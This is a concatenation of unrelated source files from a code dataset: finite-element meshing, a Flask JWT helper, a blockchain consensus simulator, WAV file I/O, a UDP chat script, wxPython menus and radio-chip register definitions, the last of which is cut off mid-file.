important sets in particle \npart3 = createSphereParticle(modelObject, (radius + radius*interfacePortion), side, \"Interface\") # Create interface part\nedges3, vertices3, face3 = assignGeomSequence(part3) # Create references to important sets in interface\n\nmatrixSet, particleSet, interfaceSet = create3DInitialSets(part, part2, side, part3, True) # create sets for particle, matrix, and interface\ncreateSection(modelObject, part, matrix, matrixSet) # Create section for matrix material\ncreateSection(modelObject, part2, fillers[0], particleSet) # Create section for filler material\ncreateSection(modelObject, part3, \"Interface\", interfaceSet) # Create section for interface\n\nmodelRootAssembly = create3DMatrixInclusions(modelObject, number, xVals, yVals, zVals, True) # Create assembly and return references to assembly sets\ndefine3DAssemblySets(modelRootAssembly, side)\ntemp1, temp2 = 328.15, 298.15 # Assign heat temperature to be used in experiment\nheatStep3D(modelName, temp1, temp2) # apply heat BC\nelements, nodes = makeMesh3D() # Draw mesh and return number of nodes and elements\nmakeElementSet(modelRootAssembly)\nwarningString = submitJob() # Submit job and take note of any warnings\navgHF, TC = getThermalProperties3D(radius, side)\n\"\"\"","sub_path":"hMesh.py","file_name":"hMesh.py","file_ext":"py","file_size_in_byte":6144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"439403334","text":"from flask import request, make_response, jsonify\nfrom app import db_engine, app\nfrom sqlalchemy import text\nimport jwt\nfrom datetime import datetime, timezone\nfrom decimal import Decimal\n\n\n# Request 요청 시 사전 수행 작업 (DB connection 생성 및 JWT 확인)\ndef before_request():\n    request.user_info = None\n\n    token = request.args.get('jwt', None)\n    decoded_token = None\n    if token is not None:\n        try:\n            decoded_token = jwt.decode(jwt=token, key=app.config['JWT_SECRET_KEY'], verify=True)\n        except jwt.exceptions.DecodeError as err:\n            return make_response(jsonify({\"message\": \"Failed to decode JWT! Please provide correct JWT!\"}), 401)\n        except jwt.exceptions.ExpiredSignatureError as err:\n            return make_response(jsonify({\n                \"message\": \"Your sign-in state has been expired! Please sign-in again!\"\n            }), 401)\n\n    if decoded_token is not None:\n        with db_engine.connect() as connection:\n            query_str = \"SELECT * FROM `users` WHERE `id` = :id AND `enabled` = 1\"\n            result = connection.execute(text(query_str), id=decoded_token['user_id']).fetchone()\n\n            if result is not None:\n                result = dict(result)\n                if result['auth_uuid'] != decoded_token['auth_uuid']:\n                    return make_response(jsonify({\n                        \"message\": \"Your sign-in state has been invalidated! Please sign-in again!\"\n                    }), 401)\n\n                request.user_info = result\n\n    return None\n\n\n# Request 처리 완료 후 Response 직전 수행 작업\ndef after_request(response):\n    return response\n\n\n# JSON array serializer\ndef json_serial(obj):\n    \"\"\"JSON serializer for objects not serializable by default json code\"\"\"\n\n    if isinstance(obj, datetime):\n        serial = obj.replace(tzinfo=timezone.utc).isoformat()\n        return serial\n\n    if isinstance(obj, Decimal):\n        serial = round(float(str(obj)))\n        return serial\n\n    raise TypeError(\"Type not serializable\")\n","sub_path":"app/modules/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"94970721","text":"import numpy as np\nfrom InputsConfig import InputsConfig as p\nfrom Models.Ethereum.Node import Node\nfrom Models.Consensus import Consensus as BaseConsensus\nimport random\n\n#from ImportClasses import Node\n\nclass Consensus(BaseConsensus):\n\n\n    \"\"\" \n\tWe modelled PoW consensus protocol by drawing the time it takes the miner to finish the PoW from an exponential distribution\n        based on the invested hash power (computing power) fraction\n    \"\"\"\n    def Protocol(miner):\n        ##### Start solving a fresh PoW on top of last block appended #####\n        TOTAL_HASHPOWER = sum([miner.hashPower for miner in p.NODES])\n        hashPower = miner.hashPower/TOTAL_HASHPOWER\n        return random.expovariate(hashPower * 1/p.Binterval)\n\n\n    \"\"\" \n\tThis method apply the longest-chain approach to resolve the forks that occur when nodes have multiple differeing copies of the blockchain ledger\n    \"\"\"\n    def fork_resolution():\n        BaseConsensus.global_chain = [] # reset the global chain before filling it\n\n        a=[]\n        for i in p.NODES:\n            a+=[i.blockchain_length()]\n        x = max(a)\n\n        b=[]\n        z=0\n        for i in p.NODES:\n            if i.blockchain_length() == x:\n                b+=[i.id]\n                z=i.id\n\n        if len(b) > 1:\n            c=[]\n            for i in p.NODES:\n                if i.blockchain_length() == x:\n                    c+=[i.last_block().miner]\n            z = np.bincount(c)\n            z= np.argmax(z)\n\n        for i in p.NODES:\n            if i.blockchain_length() == x and i.last_block().miner == z:\n                for bc in range(len(i.blockchain)):\n                    BaseConsensus.global_chain.append(i.blockchain[bc])\n                break\n\n\n\n","sub_path":"Models/Ethereum/Consensus.py","file_name":"Consensus.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"626715875","text":"__author__ = 'Jesus Maria'\n\nimport numpy as np\nimport wave\nimport struct\n\ndef read(file_path):\n    \"\"\"\n    Inputs:\n        file_path (string) = path for the file we want to get samples from.\n        It has to be a WAV file with just one channel (mono)\n    Output:\n        The function should return an array with the file's samples\n        samples (numpy array) = The resulting array of samples\n    \"\"\"\n\n    # Open file for read-only\n    file_content = wave.open(file_path, 'r')\n\n    # Extract Raw Audio from Wav File\n    samples = file_content.readframes(-1)\n    samples = np.fromstring(samples, 'Int16')\n\n    # If Stereo, do not return\n    if file_content.getnchannels() == 2:\n        return []\n    else:\n        return samples\n\n\ndef write(samples, file_path):\n\n    output_file = wave.open(file_path, 'w')\n    output_file.setparams((2, 2, 44100, 0, 'NONE', 'not compressed'))\n\n    for i in range(0, len(samples)):\n        packed_value = struct.pack('h', samples[i])\n        output_file.writeframes(packed_value)\n        output_file.writeframes(packed_value)\n\n    output_file.close()","sub_path":"src/wav_manager.py","file_name":"wav_manager.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"173663597","text":"import socket\nimport threading\n\ndef recv_msg(udp_socket):\n\t# 接收数据\n\twhile True:\n\t\trecv_data = udp_socket.recvfrom(1024)\n\t\tprint(recv_data)\n\n\ndef send_msg(udp_socket, dest_ip, dest_port):\n\t# 发送数据\n\twhile True:\n\t\tsend_data = input(\"输入发送数据:\")\n\t\tudp_socket.sendto(send_data.encode(\"utf-8\"), (dest_ip,dest_port))\n\n\ndef main():\n\t\"\"\"完成udp聊天器整体控制\"\"\"\n\n\t# 创建套接字\n\tudp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n\t# 绑定本地信息\n\tudp_socket.bind((\"\", 7880))\n\n\t# 获取对方的ip以及port\n\tdest_ip = input(\"输入对方ip:\")\n\tdest_port = int(input(\"输入对方port:\"))\n\n\t# 创建两个线程，去执行相应的功能\n\tt_send = threading.Thread(target=send_msg, args=(udp_socket, dest_ip, dest_port))\n\tt_recv = threading.Thread(target=recv_msg, args=(udp_socket,))\n\n\tt_recv.start()\n\tt_send.start()\nif __name__ == \"__main__\":\n\tmain()","sub_path":"python就业班/python-05/12-多线程udp聊天器.py","file_name":"12-多线程udp聊天器.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"203050807","text":"#-------------------------------------------------------------------------------\n# Name:        mymenu.py\n# Purpose:     This module contains the classes that handles the menubar, menu and menuitems in GUI\n#\n# Author:      Anirudh Sureka\n#\n# Created:     09/03/2013\n# Copyright:   (c) Teledyne Lecroy 2013\n# Licence:     all rights reserved.\n#-------------------------------------------------------------------------------\n\n#imports for the module\nimport  wx;\n\n#Class name :- CMenuItem\n#Description :- This class represent a MenuItem that is appended to particular menu\n\n\"\"\"-----------------------------------------------------------------------------\"\"\"\n\nclass CMenuItem():\n\n    \"\"\"\n    Constructor:\n\n    Input :\n            (i) iId:- unique menuitem identifier\n            (ii) strTitle :- menuTitle\n            (iii) strTooltip :- tooltip that appears when mouse is hovered upon the menu\n            (iv) strEvtHandlerMethod :- the method which is responsible for handling the event of this class\n            (v)  menuParentMenu :- the parent menu of this CMenuItem object\n            (vi) frameParent :- represents the window or frame container in which all menus and menuitems are appended\n\n    Output: does not return anything\n\n    Purpose : initializes the data members of CMenuItem class and bind the method with this MenuItem that is to be\n              invoked when any event is triggered through that menu item\n\n    \"\"\"\n\n    def __init__(self, iId, strTitle, strTooltip, strEvtHandlerMethod, menuParentMenu, frameParent):\n\n            #menuItemInstance is an member varible of CMenuItem class , which is of type MenuItem\n            #we have appended the menuItemInstance menuItem to mnuParentMenu object\n\n            self.m_menuitemInstance = menuParentMenu.Append(iId, strTitle, strTooltip)\n\n            #bounded the eventhandler method with this menuItem object,which will be invoked on the\n            #click event of this menuitem\n\n            frameParent.Bind(wx.EVT_MENU, strEvtHandlerMethod, self.m_menuitemInstance)\n\n\n\"\"\"-----------------------------------------------------------------------------\"\"\"\n\n\n#Class name :- CMenu\n#Description :- This class represent a Menu that is appended to the menubar\n\nclass CMenu():\n\n    \"\"\"\n    Constructor:\n\n    Input :\n            (i) strTitle = Title that appears on the menu\n            (ii) menubarParent= the menubar to whom this menu has to be appended\n            (iii) liCMenuItemMenuItems = the list which holds the object of CMenuItem class (i.e. its menuitems), that\n             are appended to this menu. This arguement is Optional.\n\n    Output : does not return anything\n\n    Purpose : provides title to the menu, append this menu to its parentmenubar and\n              provides the list of menuItems that are added under this menu, if liCMenuItemMenuItems arguement is provided\n\n    \"\"\"\n\n    def __init__(self, strTitle, menubarParent, liCMenuItemMenuItems = []):\n\n        #m_menuInstance is an instance variable of this class of type Menu\n        self.m_menuInstance = wx.Menu( )\n\n        if(menubarParent != None):\n\n            #appended this menu object to its parent menubar object\n            menubarParent.Append(self.m_menuInstance ,strTitle)\n\n        #appended the list of menuitems that are appended to this menu.\n        self.m_liCMenuItemChildMenuItemsList = liCMenuItemMenuItems\n\n    \"\"\"-----------------------------------------------------------------------------\"\"\"\n\n    def __del__(self):\n\n        \"\"\"\n        Destructor :-\n\n        Throws Exception :- No\n\n        Inputs :- does not receive any inputs\n\n        Outputs :- does not return any value\n\n        Purpose :- It releases the memory of the member variables of the CMenu\n                    class\n\n        \"\"\"\n\n        self.m_menuInstance = None\n        self.m_liCMenuItemChildMenuItemsList = None\n\n\n\n#Class name :- CMenuBar\n#Description :- This class represent the menubar\n\nclass CMenuBar():\n\n    \"\"\"\n    Constructor:\n\n    Input :\n            (i) liCMenuChildMenus = the list which contains the list of menus that are appended to this menubar object\n\n    Output :\n            does not return anything\n\n    purpose :\n            initializes the members of this class and add the list of menus that are appended to this menubar\n    \"\"\"\n\n    def __init__(self, liCMenuChildMenus = []):\n\n        #m_menubarInstance is the member variable of the class of type wx.Menubar\n        self.m_menubarInstance = wx.MenuBar()\n\n        #m_liCMenuChildMenuList is the member list which contains the menus that have to be appended to his menubar\n        self.m_liCMenuChildMenuList = liCMenuChildMenus\n\n\"\"\"-----------------------------------------------------------------------------\"\"\"\n\nif __name__ == '__main__':\n    pass","sub_path":"src/mymenu.py","file_name":"mymenu.py","file_ext":"py","file_size_in_byte":4751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"526499403","text":"\n# -*- coding: utf-8 -*-\n\nfrom . static import Base_RM_Register\nfrom . AGC_S_field import *\n\n\nclass RM_Register_AGC_S_IPVERSION(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_IPVERSION, self).__init__(rmio, label,\n            0xa800c000, 0x000,\n            'IPVERSION', 'AGC_S.IPVERSION', 'read-only',\n            u\"\",\n            0x00000004, 0xFFFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.IPVERSION = RM_Field_AGC_S_IPVERSION_IPVERSION(self)\n        self.zz_fdict['IPVERSION'] = self.IPVERSION\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_EN(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_EN, self).__init__(rmio, label,\n            0xa800c000, 0x004,\n            'EN', 'AGC_S.EN', 'read-write',\n            u\"\",\n            0x00000000, 0x00000001,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.EN = RM_Field_AGC_S_EN_EN(self)\n        self.zz_fdict['EN'] = self.EN\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_STATUS0(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_STATUS0, self).__init__(rmio, label,\n            0xa800c000, 0x008,\n            'STATUS0', 'AGC_S.STATUS0', 'read-only',\n            u\"\",\n            0x00000000, 0x07FFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.GAININDEX = RM_Field_AGC_S_STATUS0_GAININDEX(self)\n        self.zz_fdict['GAININDEX'] = self.GAININDEX\n        self.RFPKDLOWLAT = RM_Field_AGC_S_STATUS0_RFPKDLOWLAT(self)\n        self.zz_fdict['RFPKDLOWLAT'] = self.RFPKDLOWLAT\n        self.RFPKDHILAT = RM_Field_AGC_S_STATUS0_RFPKDHILAT(self)\n        self.zz_fdict['RFPKDHILAT'] = self.RFPKDHILAT\n        self.IFPKDLOLAT = RM_Field_AGC_S_STATUS0_IFPKDLOLAT(self)\n        self.zz_fdict['IFPKDLOLAT'] = self.IFPKDLOLAT\n        self.IFPKDHILAT = RM_Field_AGC_S_STATUS0_IFPKDHILAT(self)\n        self.zz_fdict['IFPKDHILAT'] = self.IFPKDHILAT\n        self.CCA = RM_Field_AGC_S_STATUS0_CCA(self)\n        self.zz_fdict['CCA'] = self.CCA\n        self.GAINOK = RM_Field_AGC_S_STATUS0_GAINOK(self)\n        self.zz_fdict['GAINOK'] = self.GAINOK\n        self.PGAINDEX = RM_Field_AGC_S_STATUS0_PGAINDEX(self)\n        self.zz_fdict['PGAINDEX'] = self.PGAINDEX\n        self.LNAINDEX = RM_Field_AGC_S_STATUS0_LNAINDEX(self)\n        self.zz_fdict['LNAINDEX'] = self.LNAINDEX\n        self.PNINDEX = RM_Field_AGC_S_STATUS0_PNINDEX(self)\n        self.zz_fdict['PNINDEX'] = self.PNINDEX\n        self.ADCINDEX = RM_Field_AGC_S_STATUS0_ADCINDEX(self)\n        self.zz_fdict['ADCINDEX'] = self.ADCINDEX\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_STATUS1(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_STATUS1, self).__init__(rmio, label,\n            0xa800c000, 0x00C,\n            'STATUS1', 'AGC_S.STATUS1', 'read-only',\n            u\"\",\n            0x00000000, 0x3FFFFEFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.CHPWR = RM_Field_AGC_S_STATUS1_CHPWR(self)\n        self.zz_fdict['CHPWR'] = self.CHPWR\n        self.FASTLOOPSTATE = RM_Field_AGC_S_STATUS1_FASTLOOPSTATE(self)\n        self.zz_fdict['FASTLOOPSTATE'] = self.FASTLOOPSTATE\n        self.CFLOOPSTATE = RM_Field_AGC_S_STATUS1_CFLOOPSTATE(self)\n        self.zz_fdict['CFLOOPSTATE'] = self.CFLOOPSTATE\n        self.RSSISTATE = RM_Field_AGC_S_STATUS1_RSSISTATE(self)\n        self.zz_fdict['RSSISTATE'] = self.RSSISTATE\n        self.RFPKDLOWLATCNT = RM_Field_AGC_S_STATUS1_RFPKDLOWLATCNT(self)\n        self.zz_fdict['RFPKDLOWLATCNT'] = self.RFPKDLOWLATCNT\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_STATUS2(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_STATUS2, self).__init__(rmio, label,\n            0xa800c000, 0x010,\n            'STATUS2', 'AGC_S.STATUS2', 'read-only',\n            u\"\",\n            0x00000000, 0xFFFF4FFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RFPKDHILATCNT = RM_Field_AGC_S_STATUS2_RFPKDHILATCNT(self)\n        self.zz_fdict['RFPKDHILATCNT'] = self.RFPKDHILATCNT\n        self.PNDWNUP = RM_Field_AGC_S_STATUS2_PNDWNUP(self)\n        self.zz_fdict['PNDWNUP'] = self.PNDWNUP\n        self.RFPKDPRDCNT = RM_Field_AGC_S_STATUS2_RFPKDPRDCNT(self)\n        self.zz_fdict['RFPKDPRDCNT'] = self.RFPKDPRDCNT\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_RSSI(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_RSSI, self).__init__(rmio, label,\n            0xa800c000, 0x018,\n            'RSSI', 'AGC_S.RSSI', 'read-only',\n            u\"\",\n            0x00008000, 0x0000FFC0,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RSSIFRAC = RM_Field_AGC_S_RSSI_RSSIFRAC(self)\n        self.zz_fdict['RSSIFRAC'] = self.RSSIFRAC\n        self.RSSIINT = RM_Field_AGC_S_RSSI_RSSIINT(self)\n        self.zz_fdict['RSSIINT'] = self.RSSIINT\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_FRAMERSSI(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_FRAMERSSI, self).__init__(rmio, label,\n            0xa800c000, 0x01C,\n            'FRAMERSSI', 'AGC_S.FRAMERSSI', 'read-only',\n            u\"\",\n            0x00008000, 0x0000FFC0,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.FRAMERSSIFRAC = RM_Field_AGC_S_FRAMERSSI_FRAMERSSIFRAC(self)\n        self.zz_fdict['FRAMERSSIFRAC'] = self.FRAMERSSIFRAC\n        self.FRAMERSSIINT = RM_Field_AGC_S_FRAMERSSI_FRAMERSSIINT(self)\n        self.zz_fdict['FRAMERSSIINT'] = self.FRAMERSSIINT\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_CTRL0(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_CTRL0, self).__init__(rmio, label,\n            0xa800c000, 0x020,\n            'CTRL0', 'AGC_S.CTRL0', 'read-write',\n            u\"\",\n            0x2132727F, 0xFFFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.PWRTARGET = RM_Field_AGC_S_CTRL0_PWRTARGET(self)\n        self.zz_fdict['PWRTARGET'] = self.PWRTARGET\n        self.MODE = RM_Field_AGC_S_CTRL0_MODE(self)\n        self.zz_fdict['MODE'] = self.MODE\n        self.RSSISHIFT = RM_Field_AGC_S_CTRL0_RSSISHIFT(self)\n        self.zz_fdict['RSSISHIFT'] = self.RSSISHIFT\n        self.DISCFLOOPADJ = RM_Field_AGC_S_CTRL0_DISCFLOOPADJ(self)\n        self.zz_fdict['DISCFLOOPADJ'] = self.DISCFLOOPADJ\n        self.CFLOOPNFADJ = RM_Field_AGC_S_CTRL0_CFLOOPNFADJ(self)\n        self.zz_fdict['CFLOOPNFADJ'] = self.CFLOOPNFADJ\n        self.CFLOOPNEWCALC = RM_Field_AGC_S_CTRL0_CFLOOPNEWCALC(self)\n        self.zz_fdict['CFLOOPNEWCALC'] = self.CFLOOPNEWCALC\n        self.DISRESETCHPWR = RM_Field_AGC_S_CTRL0_DISRESETCHPWR(self)\n        self.zz_fdict['DISRESETCHPWR'] = self.DISRESETCHPWR\n        self.ADCATTENMODE = RM_Field_AGC_S_CTRL0_ADCATTENMODE(self)\n        self.zz_fdict['ADCATTENMODE'] = self.ADCATTENMODE\n        self.INRXRSTEN = RM_Field_AGC_S_CTRL0_INRXRSTEN(self)\n        self.zz_fdict['INRXRSTEN'] = self.INRXRSTEN\n        self.ADCATTENCODE = RM_Field_AGC_S_CTRL0_ADCATTENCODE(self)\n        self.zz_fdict['ADCATTENCODE'] = self.ADCATTENCODE\n        self.ENRSSIRESET = RM_Field_AGC_S_CTRL0_ENRSSIRESET(self)\n        self.zz_fdict['ENRSSIRESET'] = self.ENRSSIRESET\n        self.DSADISCFLOOP = RM_Field_AGC_S_CTRL0_DSADISCFLOOP(self)\n        self.zz_fdict['DSADISCFLOOP'] = self.DSADISCFLOOP\n        self.DISPNGAINUP = RM_Field_AGC_S_CTRL0_DISPNGAINUP(self)\n        self.zz_fdict['DISPNGAINUP'] = self.DISPNGAINUP\n        self.DISPNDWNCOMP = RM_Field_AGC_S_CTRL0_DISPNDWNCOMP(self)\n        self.zz_fdict['DISPNDWNCOMP'] = self.DISPNDWNCOMP\n        self.AGCRST = RM_Field_AGC_S_CTRL0_AGCRST(self)\n        self.zz_fdict['AGCRST'] = self.AGCRST\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_CTRL1(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_CTRL1, self).__init__(rmio, label,\n            0xa800c000, 0x024,\n            'CTRL1', 'AGC_S.CTRL1', 'read-write',\n            u\"\",\n            0x00001300, 0x001FFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.CCATHRSH = RM_Field_AGC_S_CTRL1_CCATHRSH(self)\n        self.zz_fdict['CCATHRSH'] = self.CCATHRSH\n        self.RSSIPERIOD = RM_Field_AGC_S_CTRL1_RSSIPERIOD(self)\n        self.zz_fdict['RSSIPERIOD'] = self.RSSIPERIOD\n        self.PWRPERIOD = RM_Field_AGC_S_CTRL1_PWRPERIOD(self)\n        self.zz_fdict['PWRPERIOD'] = self.PWRPERIOD\n        self.CCAMODE = RM_Field_AGC_S_CTRL1_CCAMODE(self)\n        self.zz_fdict['CCAMODE'] = self.CCAMODE\n        self.CCAMODE3LOGIC = RM_Field_AGC_S_CTRL1_CCAMODE3LOGIC(self)\n        self.zz_fdict['CCAMODE3LOGIC'] = self.CCAMODE3LOGIC\n        self.CCASWCTRL = RM_Field_AGC_S_CTRL1_CCASWCTRL(self)\n        self.zz_fdict['CCASWCTRL'] = self.CCASWCTRL\n        self.DISRSTONPREDET = RM_Field_AGC_S_CTRL1_DISRSTONPREDET(self)\n        self.zz_fdict['DISRSTONPREDET'] = self.DISRSTONPREDET\n        self.CFLOOPINCREQMODE = RM_Field_AGC_S_CTRL1_CFLOOPINCREQMODE(self)\n        self.zz_fdict['CFLOOPINCREQMODE'] = self.CFLOOPINCREQMODE\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_CTRL2(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_CTRL2, self).__init__(rmio, label,\n            0xa800c000, 0x028,\n            'CTRL2', 'AGC_S.CTRL2', 'read-write',\n            u\"\",\n            0x0000610A, 0xFFFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.DMASEL = RM_Field_AGC_S_CTRL2_DMASEL(self)\n        self.zz_fdict['DMASEL'] = self.DMASEL\n        self.SAFEMODE = RM_Field_AGC_S_CTRL2_SAFEMODE(self)\n        self.zz_fdict['SAFEMODE'] = self.SAFEMODE\n        self.SAFEMODETHD = RM_Field_AGC_S_CTRL2_SAFEMODETHD(self)\n        self.zz_fdict['SAFEMODETHD'] = self.SAFEMODETHD\n        self.REHICNTTHD = RM_Field_AGC_S_CTRL2_REHICNTTHD(self)\n        self.zz_fdict['REHICNTTHD'] = self.REHICNTTHD\n        self.RELOTHD = RM_Field_AGC_S_CTRL2_RELOTHD(self)\n        self.zz_fdict['RELOTHD'] = self.RELOTHD\n        self.RELBYCHPWR = RM_Field_AGC_S_CTRL2_RELBYCHPWR(self)\n        self.zz_fdict['RELBYCHPWR'] = self.RELBYCHPWR\n        self.RELTARGETPWR = RM_Field_AGC_S_CTRL2_RELTARGETPWR(self)\n        self.zz_fdict['RELTARGETPWR'] = self.RELTARGETPWR\n        self.RSSICCASUB = RM_Field_AGC_S_CTRL2_RSSICCASUB(self)\n        self.zz_fdict['RSSICCASUB'] = self.RSSICCASUB\n        self.DEBCNTRST = RM_Field_AGC_S_CTRL2_DEBCNTRST(self)\n        self.zz_fdict['DEBCNTRST'] = self.DEBCNTRST\n        self.PRSDEBUGEN = RM_Field_AGC_S_CTRL2_PRSDEBUGEN(self)\n        self.zz_fdict['PRSDEBUGEN'] = self.PRSDEBUGEN\n        self.DISRFPKD = RM_Field_AGC_S_CTRL2_DISRFPKD(self)\n        self.zz_fdict['DISRFPKD'] = self.DISRFPKD\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_CTRL3(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_CTRL3, self).__init__(rmio, label,\n            0xa800c000, 0x02C,\n            'CTRL3', 'AGC_S.CTRL3', 'read-write',\n            u\"\",\n            0x5140A800, 0xFFFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.IFPKDDEB = RM_Field_AGC_S_CTRL3_IFPKDDEB(self)\n        self.zz_fdict['IFPKDDEB'] = self.IFPKDDEB\n        self.IFPKDDEBTHD = RM_Field_AGC_S_CTRL3_IFPKDDEBTHD(self)\n        self.zz_fdict['IFPKDDEBTHD'] = self.IFPKDDEBTHD\n        self.IFPKDDEBPRD = RM_Field_AGC_S_CTRL3_IFPKDDEBPRD(self)\n        self.zz_fdict['IFPKDDEBPRD'] = self.IFPKDDEBPRD\n        self.IFPKDDEBRST = RM_Field_AGC_S_CTRL3_IFPKDDEBRST(self)\n        self.zz_fdict['IFPKDDEBRST'] = self.IFPKDDEBRST\n        self.RFPKDDEB = RM_Field_AGC_S_CTRL3_RFPKDDEB(self)\n        self.zz_fdict['RFPKDDEB'] = self.RFPKDDEB\n        self.RFPKDDEBTHD = RM_Field_AGC_S_CTRL3_RFPKDDEBTHD(self)\n        self.zz_fdict['RFPKDDEBTHD'] = self.RFPKDDEBTHD\n        self.RFPKDDEBPRD = RM_Field_AGC_S_CTRL3_RFPKDDEBPRD(self)\n        self.zz_fdict['RFPKDDEBPRD'] = self.RFPKDDEBPRD\n        self.RFPKDDEBRST = RM_Field_AGC_S_CTRL3_RFPKDDEBRST(self)\n        self.zz_fdict['RFPKDDEBRST'] = self.RFPKDDEBRST\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_CTRL4(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_CTRL4, self).__init__(rmio, label,\n            0xa800c000, 0x030,\n            'CTRL4', 'AGC_S.CTRL4', 'read-write',\n            u\"\",\n            0x0000000E, 0xBF80FFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.PERIODRFPKD = RM_Field_AGC_S_CTRL4_PERIODRFPKD(self)\n        self.zz_fdict['PERIODRFPKD'] = self.PERIODRFPKD\n        self.DISRFPKDCNTRST = RM_Field_AGC_S_CTRL4_DISRFPKDCNTRST(self)\n        self.zz_fdict['DISRFPKDCNTRST'] = self.DISRFPKDCNTRST\n        self.DISRSTCONDI = RM_Field_AGC_S_CTRL4_DISRSTCONDI(self)\n        self.zz_fdict['DISRSTCONDI'] = self.DISRSTCONDI\n        self.RFPKDPRDGEAR = RM_Field_AGC_S_CTRL4_RFPKDPRDGEAR(self)\n        self.zz_fdict['RFPKDPRDGEAR'] = self.RFPKDPRDGEAR\n        self.RFPKDSYNCSEL = RM_Field_AGC_S_CTRL4_RFPKDSYNCSEL(self)\n        self.zz_fdict['RFPKDSYNCSEL'] = self.RFPKDSYNCSEL\n        self.RFPKDSEL = RM_Field_AGC_S_CTRL4_RFPKDSEL(self)\n        self.zz_fdict['RFPKDSEL'] = self.RFPKDSEL\n        self.RFPKDCNTEN = RM_Field_AGC_S_CTRL4_RFPKDCNTEN(self)\n        self.zz_fdict['RFPKDCNTEN'] = self.RFPKDCNTEN\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_CTRL5(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_CTRL5, self).__init__(rmio, label,\n            0xa800c000, 0x034,\n            'CTRL5', 'AGC_S.CTRL5', 'read-write',\n            u\"\",\n            0x00000000, 0xC0FFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.PNUPDISTHD = RM_Field_AGC_S_CTRL5_PNUPDISTHD(self)\n        self.zz_fdict['PNUPDISTHD'] = self.PNUPDISTHD\n        self.PNUPRELTHD = RM_Field_AGC_S_CTRL5_PNUPRELTHD(self)\n        self.zz_fdict['PNUPRELTHD'] = self.PNUPRELTHD\n        self.SEQPNUPALLOW = RM_Field_AGC_S_CTRL5_SEQPNUPALLOW(self)\n        self.zz_fdict['SEQPNUPALLOW'] = self.SEQPNUPALLOW\n        self.SEQRFPKDEN = RM_Field_AGC_S_CTRL5_SEQRFPKDEN(self)\n        self.zz_fdict['SEQRFPKDEN'] = self.SEQRFPKDEN\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_CTRL6(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_CTRL6, self).__init__(rmio, label,\n            0xa800c000, 0x038,\n            'CTRL6', 'AGC_S.CTRL6', 'read-write',\n            u\"\",\n            0x0003AAA8, 0x7FFFFFFF,\n            0x00001000, 0x00002000,\n            